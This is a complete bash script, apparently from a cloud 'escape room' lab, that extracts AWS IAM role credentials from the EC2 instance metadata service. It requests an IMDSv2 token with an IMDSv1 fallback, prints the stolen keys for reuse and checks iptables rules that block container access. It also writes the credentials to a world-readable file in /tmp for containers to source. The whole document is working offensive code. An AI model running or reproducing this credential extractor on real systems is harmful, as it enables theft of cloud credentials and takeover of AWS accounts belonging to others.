#!/bin/bash # Host-Based IMDS Credential Extractor # Based on the Medium article about IMDSv2 enforcement and container restrictions # https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457 echo "==== Host-Based IMDS Credential Extractor ====" echo "Based on research from: https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457" echo "" DEBUG=${DEBUG:-0} debug_log() { if [ "$DEBUG" -eq 1 ]; then echo "[DEBUG] $1" >&2 fi } # Check if we're running on the host vs container check_environment() { echo "[*] Checking execution environment..." if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then echo "[!] WARNING: Running inside container - this may fail due to iptables restrictions" echo "[!] The article explains that containers often have blocked IMDS access" echo "[!] Attempting anyway, but consider running on the host..." return 1 else echo "[+] Running on host system - optimal for IMDS access" return 0 fi } # Check EC2 metadata configuration (as mentioned in the article) check_metadata_configuration() { echo "[*] Checking EC2 instance metadata configuration..." # Get instance ID first local instance_id instance_id=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null) if [ -n "$instance_id" ]; then echo "[+] Instance ID: $instance_id" # Check if we have AWS CLI to inspect metadata options if command -v aws >/dev/null; then echo "[*] Checking instance metadata options..." local metadata_options metadata_options=$(aws ec2 describe-instances \ --instance-ids "$instance_id" \ --query 'Reservations[].Instances[].MetadataOptions' \ --output json 2>/dev/null) if [ -n "$metadata_options" ]; then echo "[+] Metadata Options:" echo "$metadata_options" | jq . 2>/dev/null || echo "$metadata_options" # Check if IMDSv2 is enforced local imdsv2_required imdsv2_required=$(echo "$metadata_options" | jq -r '.[].HttpTokens' 2>/dev/null) if [ "$imdsv2_required" = "required" ]; then echo "[!] IMDSv2 is ENFORCED (HttpTokens: required)" echo "[!] This explains why PUT requests are needed for tokens" else echo "[+] IMDSv2 is optional (HttpTokens: $imdsv2_required)" fi fi else echo "[*] AWS CLI not available - cannot check metadata options" fi else echo "[-] Cannot retrieve instance ID - may not be running on EC2" return 1 fi } # Test basic IMDS connectivity test_imds_connectivity() { echo "[*] Testing IMDS connectivity..." # Test basic connectivity local basic_response basic_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null) if echo "$basic_response" | grep -q "HTTP_CODE:200"; then echo "[+] Basic IMDS access working (HTTP 200)" return 0 elif echo "$basic_response" | grep -q "HTTP_CODE:401"; then echo "[+] IMDS responding with HTTP 401 (IMDSv2 enforced - this is expected)" return 0 else echo "[-] IMDS not accessible: $basic_response" return 1 fi } # Method 1: Standard IMDSv2 (should work on host) try_imdsv2_standard() { echo "[*] Method 1: Standard IMDSv2 token request (host-based)..." # Request token with verbose output for debugging local token_response token if [ "$DEBUG" -eq 1 ]; then echo "[DEBUG] Making verbose token request..." token_response=$(timeout 10 curl -v -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ http://169.254.169.254/latest/api/token 2>&1) echo "[DEBUG] Token response: $token_response" token=$(echo "$token_response" | tail -n 1 | tr -d '\r\n ') else token=$(timeout 10 curl -s -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ http://169.254.169.254/latest/api/token 2>/dev/null | tr -d '\r\n ') fi if [ -n "$token" ] && [ ${#token} -gt 10 ]; then echo "[+] IMDSv2 token obtained successfully!" echo "[+] Token: ${token:0:20}..." # Get role name local role_name role_name=$(timeout 10 curl -s \ -H "X-aws-ec2-metadata-token: $token" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ') if [ -n "$role_name" ]; then echo "[+] IAM Role found: $role_name" # Get credentials local creds creds=$(timeout 15 curl -s \ -H "X-aws-ec2-metadata-token: $token" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null) if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then echo "[+] Credentials retrieved successfully!" export_credentials "$creds" return 0 else echo "[-] Failed to retrieve credentials" debug_log "Credentials response: $creds" fi else echo "[-] No IAM role found" fi else echo "[-] Failed to obtain IMDSv2 token" debug_log "Token response: $token" fi return 1 } # Method 2: Try IMDSv1 fallback (as mentioned in article) try_imdsv1_fallback() { echo "[*] Method 2: Attempting IMDSv1 fallback..." # Test if IMDSv1 is available local imdsv1_test imdsv1_test=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null) if [ -n "$imdsv1_test" ] && ! echo "$imdsv1_test" | grep -q "401\|Unauthorized"; then echo "[+] IMDSv1 appears to be available" # Try to get role via IMDSv1 local role_name role_name=$(timeout 10 curl -s \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ') if [ -n "$role_name" ]; then echo "[+] IAM Role found via IMDSv1: $role_name" # Get credentials via IMDSv1 local creds creds=$(timeout 15 curl -s \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null) if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then echo "[+] Credentials retrieved via IMDSv1!" export_credentials "$creds" return 0 fi fi else echo "[-] IMDSv1 not available (likely disabled for security)" fi return 1 } # Method 3: Container to host credential forwarding setup_credential_forwarding() { echo "[*] Method 3: Setting up credential forwarding for containers..." # If we successfully got credentials on host, set up forwarding if [ -n "$AWS_ACCESS_KEY_ID" ]; then echo "[+] Setting up credential forwarding to containers..." # Create credential file that containers can access local cred_file="/tmp/aws_credentials_escape_room" cat > "$cred_file" << EOF # AWS Credentials for Escape Room Lab # Generated: $(date) export AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY_ID" export AWS_SECRET_ACCESS_KEY="$AWS_SECRET_ACCESS_KEY" export AWS_SESSION_TOKEN="$AWS_SESSION_TOKEN" EOF chmod 644 "$cred_file" echo "[+] Credentials saved to: $cred_file" echo "[+] Containers can source this file to get credentials" echo "" echo "# In container, run:" echo "source $cred_file" return 0 fi return 1 } # Enhanced credential export export_credentials() { local creds="$1" echo "[*] Parsing and exporting credentials..." # Try jq first, then fall back to grep if command -v jq >/dev/null 2>&1; then export AWS_ACCESS_KEY_ID=$(echo "$creds" | jq -r '.AccessKeyId' 2>/dev/null) export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | jq -r '.SecretAccessKey' 2>/dev/null) export AWS_SESSION_TOKEN=$(echo "$creds" | jq -r '.Token' 2>/dev/null) local EXPIRATION=$(echo "$creds" | jq -r '.Expiration' 2>/dev/null) else export AWS_ACCESS_KEY_ID=$(echo "$creds" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1) export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1) export AWS_SESSION_TOKEN=$(echo "$creds" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1) local EXPIRATION=$(echo "$creds" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1) fi if [ -n "$AWS_ACCESS_KEY_ID" ] && [ -n "$AWS_SECRET_ACCESS_KEY" ] && [ -n "$AWS_SESSION_TOKEN" ]; then echo "" echo "============================================" echo "# 🎯 AWS Credentials Successfully Retrieved!" echo "# 📖 Using method from Medium article research" echo "============================================" echo "" echo "# Copy and paste these commands:" echo "export AWS_ACCESS_KEY_ID=\"$AWS_ACCESS_KEY_ID\"" echo "export AWS_SECRET_ACCESS_KEY=\"$AWS_SECRET_ACCESS_KEY\"" echo "export AWS_SESSION_TOKEN=\"$AWS_SESSION_TOKEN\"" echo "" if [ -n "$EXPIRATION" ]; then echo "# Credentials expire at: $EXPIRATION" echo "" fi echo "# Verify with: aws sts get-caller-identity" echo "" echo "# 📝 For container use, see credential forwarding above" echo "============================================" return 0 else echo "[-] Failed to parse credentials properly" debug_log "Raw credentials: $creds" return 1 fi } # Check for iptables rules blocking container access (as per article) check_iptables_restrictions() { echo "[*] Checking for iptables restrictions (as described in article)..." if command -v iptables >/dev/null && [ "$EUID" -eq 0 ]; then echo "[+] Checking iptables rules for metadata service..." # Check for rules affecting 169.254.169.254 local metadata_rules metadata_rules=$(iptables -L -n -v 2>/dev/null | grep "169.254.169.254") if [ -n "$metadata_rules" ]; then echo "[+] Found iptables rules for metadata service:" echo "$metadata_rules" else echo "[*] No specific iptables rules found for metadata service" fi # Check Docker iptables rules local docker_rules docker_rules=$(iptables -t nat -L DOCKER -n -v 2>/dev/null | grep "169.254.169.254") if [ -n "$docker_rules" ]; then echo "[+] Found Docker iptables rules for metadata service:" echo "$docker_rules" fi else echo "[*] Cannot check iptables (need root privileges)" fi } # Main execution main() { if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then export DEBUG=1 echo "[DEBUG] Debug mode enabled" fi # Environment check local is_host=0 check_environment && is_host=1 echo "" # Configuration check check_metadata_configuration echo "" # Connectivity test if ! test_imds_connectivity; then echo "[-] Basic IMDS connectivity failed" exit 1 fi echo "" # Try IMDSv2 first (should work on host) if try_imdsv2_standard; then setup_credential_forwarding exit 0 fi echo "" # Try IMDSv1 fallback if try_imdsv1_fallback; then setup_credential_forwarding exit 0 fi echo "" # Check for restrictions check_iptables_restrictions echo "" echo "============================================" echo "[-] ❌ Failed to retrieve credentials" echo "============================================" echo "" echo "Based on the Medium article analysis:" echo "1. IMDSv2 may be enforced (requires PUT requests)" echo "2. Container iptables rules may block metadata access" echo "3. Network policies may prevent container IMDS access" echo "" if [ "$is_host" -eq 0 ]; then echo "💡 RECOMMENDATION: Run this script on the HOST system:" echo " 1. Exit the container" echo " 2. Run this script directly on the EC2 host" echo " 3. Use credential forwarding for container access" fi echo "============================================" exit 1 } main "$@"